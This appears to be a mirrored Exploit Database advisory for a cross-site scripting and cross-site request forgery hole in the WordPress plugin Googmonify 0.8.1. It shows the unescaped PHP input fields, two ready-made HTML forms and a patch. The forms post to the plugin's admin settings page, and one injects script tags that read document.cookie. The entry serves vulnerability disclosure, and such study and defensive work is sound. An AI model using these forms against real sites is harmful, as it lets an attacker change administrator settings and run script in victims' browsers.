WordPress Plugin Googmonify 0.8.1 – Cross-Site Scripting / Cross-Site Request Forgery

• Exploit Database
• 112 阅读

• 作者： Ehsan Hosseini
  日期： 2015-08-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37906/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51

  [+] Exploit Title : WordPress Googmonify Plug-in XSS/CSRF [+] Exploit Author : Ehsan Hosseini [+] Date: 2015-08-21 [+] Vendor Homepage : https://wordpress.org/plugins/googmonify/ [+] Software Link : https://downloads.wordpress.org/plugin/googmonify.zip [+] Version : 0.8.1 [+] Tested On : Windows FireFox [+] CVE : N/A   =============================== Vulnerable Code : googmonify.php - Line 190,194,208 <input id="PID" name="PID" type="text" value="<?php echo $pid; ?>"> <input id= "Limit" name="Limit" type="text" value="<?php echo $limit; ?>" size="5"> <input id="AID" name="AID" type="text" value="<?php echo $aid; ?>"> =============================== Exploit 1 (Just CSRF):   <form method="POST" action="http://[URL]/[Path]/wp-admin/options-general.php?page=googmonify.php"> <input name="PID" type="hidden" value=&apos;Ehsan Hosseini&apos;> <input name="Limit" type="hidden" value="0"> <input name="Analytics" type="hidden" value="0" > <input name="AID" type="hidden" value="Ehsan Hosseini"> <input name="GoogmonifyUpdate" type="submit" value="Update Options &raquo;"> </form>   Exploit 2 (CSRF & XSS):   <form method="POST" action="http://[URL]/[Path]/wp-admin/options-general.php?page=googmonify.php"> <input name="PID" type="hidden" value=&apos;"><script>alert(document.cookie)</script>&apos;> <input name="Limit" type="hidden" value="0"> <input name="Analytics" type="hidden" value="0" > <input name="AID" type="hidden" value=&apos;"><script>alert(/Ehsan Hosseini/)</script>&apos;> <input name="GoogmonifyUpdate" type="submit" value="Update Options &raquo;"> </form> =============================== Patch :googmonify.php - Line 190,194,208 <input id="PID" name="PID" type="text" value="<?php echo htmlspecialchars($pid); ?>"> <input id= "Limit" name="Limit" type="text" value="<?php echo htmlspecialchars($limit); ?>" size="5"> <input id="AID" name="AID" type="text" value="<?php echo htmlspecialchars($aid); ?>">   =============================== Discovered By : Ehsan Hosseini.